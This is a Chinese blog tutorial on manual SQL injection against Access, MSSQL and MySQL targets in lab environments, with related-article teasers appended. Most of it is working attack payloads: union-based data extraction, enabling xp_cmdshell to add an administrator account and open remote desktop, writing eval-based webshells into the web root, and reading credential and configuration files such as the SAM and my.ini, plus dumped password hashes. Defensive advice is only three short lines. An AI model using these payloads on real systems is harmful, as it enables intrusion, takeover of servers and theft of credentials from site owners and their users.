OWASP top10--SQL注入(三、手工注入)

news2024/10/6 14:33:28

目录

access数据库

手工注入过程:

猜解数据库表名

猜解数据库表名里面的字段

猜解字段内容

SQL注入中的高级查询

mssql数据库

手工注入过程:

sa权限

 ​编辑dbowner权限

public权限

mysql数据库

1、对服务器文件进行读写操作(前提条件)

需要知道远程Web目录

 secure_file_priv为空:

服务器读取文件

写webshell获取权限

 2、mysq数据库手工注入过程:

检查注入点

查字段

查看当前数据库用户名及版本

获取dvwa表名

获取所有user表里面的字段

获取所有字段内容;0x7c表示|符号 

 注入防御

1、涵数过滤

2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面

3、PDO预处理


access数据库

手工注入过程:
猜解数据库表名
​​​​​​​and exists(select * from users)


--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users) 
--此查询尝试验证id参数是否可被用来注入SQL代码,并进一步判断数据库中是否有名为users的表。如果网页返回正常或特定的错误信息,可能表明SQL注入漏洞存在。
--如果网站直接显示一个错误页面,特别是提及SQL语法错误或表名users的信息,强烈暗示存在SQL注入漏洞。
--利用bp抓包进行数据库表名爆破(流程如下图)

加载网站用bp抓包

http://10.0.0.101/custom.asp?id=1 and exists(select * from users)

 添加字典跑数据库表名

返回200状态,正常显示证明数据库有此表  

猜解数据库表名里面的字段
and exists(select password from administrator)

 结果:

猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by       
--order by 8    order by 7
union select   
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
 order by 8

order by 7  

union select 1,2,3,4,5,6,7 from administrator

显示2 ,3,5,7;说明2,3,5,7可执行可读写

说明:
替换的内容
2:user_name   --输出admin
3:password     --输出21232f297a57a5a743894a0e4a801fc3
5:id                 --输出1
7:now             --输出2024-5-3 18:22:54

union select 1,user_name,password,4,id,6,now from administrator  

  • 偏移注入

  • 跨库查询


mssql数据库

手工注入过程:
sa权限

http://10.0.0.101:84/sqlserver/1.aspx?xxser=1

 --1.aspx则是一个具体的ASP.NET页面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'

--测试是否有注入点
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects) 
--注入尝试:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查询参数xxser的值后面添加了SQL代码,试图探测数据库中是否存在特定的对象。这里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一个系统表,包含了数据库中所有对象(如表、视图、存储过程等)的信息。通过检查sysobjects表中的记录是否存在,攻击者可以间接判断SQL注入是否成功以及数据库中是否有特定的表或对象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0 
--查询当前数据库系统的用户名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin')) 
--检查注入点是否为sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')  
--判断一下xp_cmdshell存储过程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢复(启用)SQL Server中的xp_cmdshell扩展存储过程的正确方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加账户
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--开启3389端口
远程连接10.0.0.101主机输入账户test密码test登陆;建立远程连接。

检查是否是mssql数据库:未报错,是mssql数据库

and exists (select * from sysobjects)

第二步:查询当前数据库系统的用户名

and system_user=0

 

第三步:检查注入点是否为sa权限:存在

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

第四步:判断一下xp_cmdshell存储过程是否存在

and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')

恢复xp_cmdshell可以用

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

第五步:添加帐号

;exec master..xp_cmdshell 'net user test test /add'

这个命令使用net user命令在Windows操作系统中创建一个新的用户账户,名为test,密码也为test/add参数指示要添加新用户。

;exec master..xp_cmdshell 'net localgroup administrators test /add'

这个命令使用net localgroup命令将刚刚创建的test用户添加到administrators本地管理员组中,这意味着test用户现在拥有管理员权限,可以对系统执行几乎所有的操作

 

第六步:开3389端口(远程连接端口)

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

 

输入网站的主机ip地址;输入【账户test 密码test】建立远程连接  

 

 dbowner权限

 

第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));--        
--判断当前数据库用户是否为db_owner权限
第二步:找出网站路径
    1、通过报错或baidu、google等查找
--如单引号(')、-1、and 1=2  ;google搜索site:oldboyedu.com intext error
    2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--

and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
方法二:差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

第一步:查看当前网站是否为db_owner权限

and 1=(SELECT IS_MEMBER('db_owner'));--

第二步:找出网站路径

1、方法一:通过报错单引号(')或google查找

2、方法二:通过相关语句

drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--

insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--  

and (select result from black where id=1)>0--

阅览器版本高执行失败:

尝试id=1

尝试出id=4显示出路径(and (select result from black where id=4)>0--)

第三步:写入一句话木马获取webshell

方法一:

%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'-- 

利用中国菜刀(音速软件-webshell-中国菜刀-中国菜刀.exe)远程连接web主机

方法二差异备份:

音速软件-注入检测-GetWebShell增强版.exe

一句话木马已生成完成

用中国菜刀可以远程连接

 

public权限

 第一步:获取当前网站数据库名称
    and db_name()=0--
第二步:获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名
    and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
    having 1=1--
    group by admin.id having 1=1--
    group by admin.id,admin.name having 1=1--
第五步:获取字段内容
    /**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple

 having 1=1 获取第一个字段

 

 group by admin.id having 1=1-- 获取第二个字段(带入获取的第一个字段)

 group by admin.id,admin.name having 1=1-- 获取第三个字段

获取数据


 

mysql数据库

1、对服务器文件进行读写操作(前提条件)


需要知道远程Web目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)


需要知道远程Web目录

报错法:' and 1=1  and 1=2
google命令搜索
网站用阅览器查看源代码,查看是否有路径
读中间件的配置文件

%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit  路径记得转化为十六进制
常见WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
单引号报错法
右击查看源代码可能存在网站物理路径泄露
百度或google输入:site:xxx.com intext:error

 secure_file_priv为空:

服务器读取文件
' union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit

 菜刀连接:

 连接成功。


 2、mysql数据库手工注入过程:

' 与and 1=1 and 1=2
--检查注入点
' order by 1,2--+&Submit=Submit#
--检查字段
' union select user(),version()--+&Submit=Submit#     
--查看数据库用户名和版本、库名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit   
--获取mysql所有库
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit   
--获取dwva表名
guestbook,users 
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit    
table_name=0x7573657273不转成十六进制也可以table_name="users"
--获取所有user表里面的字段
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit    
--获取所有字段内容;0x7c表示|符号

检查注入点

pikachu先切换成low级

’或and 1=1 and 1=2

查字段
' order by 1,2

查看当前数据库用户名及版本

也可以使用database()查看当前库

' union select user(),version()--+

'union select 1,group_concat(schema_name) from information_schema.schemata+--+

获取dvwa表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+

获取所有user表里面的字段
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+

获取所有字段内容;0x7c表示|符号 
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit    

 输出结果:

1|admin|admin|admin|5f4dcc3b5aa765d61d8327deb882cf99|/hackable/users/admin.jpg|,2|Gordon|Brown|gordonb|e99a18c428cb38d5f260853678922e03|/hackable/users/gordonb.jpg|,3|Hack|Me|1337|8d3533d75ae2c3966d7e0d4fcc69216b|/hackable/users/1337.jpg|,4|Pablo|Picasso|pablo|0d107d09f5bbe40cade3de5c71e9e9b7|/hackable/users/pablo.jpg|,5|Bob|Smith|smithy|5

 注入防御

1、涵数过滤
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
3、PDO预处理

从PHP 5.1开始,php可以通过PDO的prepare预处理函数执行sql语句,详细代码参考:http://www.php.cn/course/868.html


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1704836.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

二叉树顺序结构的实现(堆)

二叉树的基本概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 有一个特殊的结点&#xff0c;称为根结…

浙江大学数据结构MOOC-课后习题-第九讲-排序1 排序

题目汇总 浙江大学数据结构MOOC-课后习题-拼题A-代码分享-2024 题目描述 文章目录 冒泡排序插入排序希尔排序堆排序归并排序 冒泡排序 void buble_Sort() { int A[MAXSIZE];int N;std::cin >> N;for (int i 0; i < N; i)std::cin >> A[i];bool flag false;i…

滑动窗口-java

主要通过单调队列来解决滑动窗口问题&#xff0c;得到滑动窗口中元素的最大值和最小值。 目录 前言 一、滑动窗口 二、算法思路 1.滑动窗口 2.算法思路 3.代码详解 三、代码如下 1.代码如下 2.读入数据 3.代码运行结果 总结 前言 主要通过单调队列来解决滑动窗口问题&#xff…

(免费领源码)java#SSM#mysql第三方物流系统37852-计算机毕业设计项目选题推荐

摘 要 科技进步的飞速发展引起人们日常生活的巨大变化&#xff0c;电子信息技术的飞速发展使得电子信息技术的各个领域的应用水平得到普及和应用。信息时代的到来已成为不可阻挡的时尚潮流&#xff0c;人类发展的历史正进入一个新时代。在现实运用中&#xff0c;应用软件的工作…

EasyCode生成的SQL语句中无逗号分隔

EasyCode生成的SQL语句中无逗号分隔 EasyCode是一款非常好用的插件&#xff0c;可以帮助我们生成相关的一些代码&#xff0c;但是在生成SQL对应的xml文件之后&#xff0c;发现语句中多个字段之间没有逗号分隔&#xff0c;而是直接连在了一起。接下来&#xff0c;让我们一起去解…

Kubernetes——Kubectl详解

目录 前言 一、陈述式资源管理方法 二、Kubectl命令操作 1.查 1.1kubectl version——查看版本信息 1.2kubectl api-resources——查看资源对象简写 1.3kubectl cluster-info——查看集群信息 1.4配置Kubectl补全 1.5journalctl -u kubelet -f——查看日志 1.6kubec…

C-数据结构-树状存储基本概念

‘’’ 树状存储基本概念 深度&#xff08;层数&#xff09; 度&#xff08;子树个数&#xff09; 叶子 孩子 兄弟 堂兄弟 二叉树&#xff1a; 满二叉树&#xff1a; 完全二叉树&#xff1a; 存储&#xff1a;顺序&#xff0c;链式 树的遍历&#xff1a;按层遍历&#xff0…

Qt for android 串口库使用

简介 由于Qt for android并没有提供android的串口执行方案&#xff0c;基于需要又懒得自己去造轮子&#xff0c; 使用开源的 usb-serial-for-android 库进行串口访问读写。 如果有自己的需要和库不满足的点&#xff0c;可以查看库的底层调用的Android相关API C/C 串口库 对应…

驱动开发:内核MDL读写进程内存

100编程书屋_孔夫子旧书网 MDL内存读写是最常用的一种读写模式,通常需要附加到指定进程空间内然后调用内存拷贝得到对端内存中的数据,在调用结束后再将其空间释放掉,通过这种方式实现内存读写操作,此种模式的读写操作也是最推荐使用的相比于CR3切换来说,此方式更稳定并不会…

Kruskal算法求最小生成树(加边法)

一、算法逻辑 想要轻松形象理解Kruskal算法的算法逻辑&#xff0c;视频肯定比图文好。 小编看过很多求相关的教学视频&#xff0c;这里选出一个我认为最好理解的这一款安利给大家。 因为他不仅讲解细致&#xff0c;而且还配合了动画演示&#xff0c;可以说把一个抽象的东西讲…

【软件设计师】网络安全

1.网络安全基础信息 网络安全的五个基本要素&#xff1a; 机密性&#xff1a;确保信息不暴露给未授权的实体或进程 完整性&#xff1a;只有得到允许的人才能修改数据&#xff0c;并且能判断出数据是否已被修改 可用性&#xff1a;得到授权的实体在需要时可以访问数据&#xff0…

Web安全:文件上传漏洞详解,文件上传漏洞原理、绕过方式和防御方案。

「作者简介」&#xff1a;2022年北京冬奥会网络安全中国代表队&#xff0c;CSDN Top100&#xff0c;就职奇安信多年&#xff0c;以实战工作为基础对安全知识体系进行总结与归纳&#xff0c;著作适用于快速入门的 《网络安全自学教程》&#xff0c;内容涵盖系统安全、信息收集等…

【Mac】 CleanMyMac X for mac V4.15.2中文修复版安装教程

软件介绍 CleanMyMac X是一款为Mac设计的优秀软件&#xff0c;旨在帮助用户优化其设备的性能并提供清理和维护功能。以下是 CleanMyMac X的一些主要功能和特点&#xff1a; 1.系统性能优化&#xff1a;软件可以扫描和修复潜在的性能问题&#xff0c;包括无效的登录项、大文件…

【设计模式】创建型-抽象工厂模式

前言 在软件开发领域&#xff0c;设计模式是一种被广泛接受的解决方案&#xff0c;用于解决特定问题并提供可维护和可扩展的代码结构。抽象工厂模式&#xff08;Abstract Factory Pattern&#xff09;是其中之一&#xff0c;它提供了一种方法来创建一系列相关或相互依赖的对象…

(三)MobaXterm、VSCode、Pycharm ssh连接服务器并使用

背景&#xff1a;根据前两篇文章操作完成后&#xff0c; 手把手教学&#xff0c;一站式安装ubuntu及配置服务器-CSDN博客 手把手教学&#xff0c;一站式教你实现服务器&#xff08;Ubuntu&#xff09;Anaconda多用户共享-CSDN博客 课题组成员每人都有自己的帐号了&#xff0…

上海亚商投顾:沪指震荡反弹 半导体产业链午后爆发

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日震荡反弹&#xff0c;尾盘涨幅扩大至1%&#xff0c;深成指、创业板指同步上行&#xff0c;科创50指数…

实时直播技术革新:视频汇聚管理EasyCVR平台助力景区游览体验全面升级

自年初以来&#xff0c;各地文旅热点不断。“温暖驿站”“背诗免票”“王婆说媒”等等&#xff0c;吸引了不少人奔赴远方。2024年在国人消费意愿榜上&#xff0c;旅游又一次占据榜首的位置&#xff0c;有三分之一以上的人&#xff0c;今年会在旅游方面增加消费。中国旅游的发展…

【已解决】./start-base.sh: line 5: $‘\r‘: command not found

问题&#xff1a;在linux下运行启动服务的脚本&#xff0c;提示很多‘\r’不可用。 原因&#xff1a;windows下编辑的文件&#xff0c;放在linux下运行&#xff0c;文件格式有问题&#xff0c;需要转换。 解决方法&#xff1a; 1、用vim编辑器打开文件 vim 文件名 2、进入…

Matplotlib(可视化)小案例

一.认识&#xff1a; Matplotlib是一个Python 2D绘图库&#xff0c;它可以在各种平台上以各种硬拷贝格式和交互式环境生成出具有出版品质的图形。Matplotlib可用于Python脚本&#xff0c;Python和IPython shell&#xff0c;Jupyter笔记本&#xff0c;Web应用程序服务器和四个图…

K8S-pod资源 探针

一.pod资源限制&#xff1a; 对pod资源限制原因&#xff1a;高并发占用所有的cpu资源、内存资源、会造成雪崩 当定义 Pod 时可以选择性地为每个容器设定所需要的资源数量。 最常见的可设定资源是 CPU 和内存大小&#xff0c;以及其他类型的资源。 方式&#xff1a; 对pod做…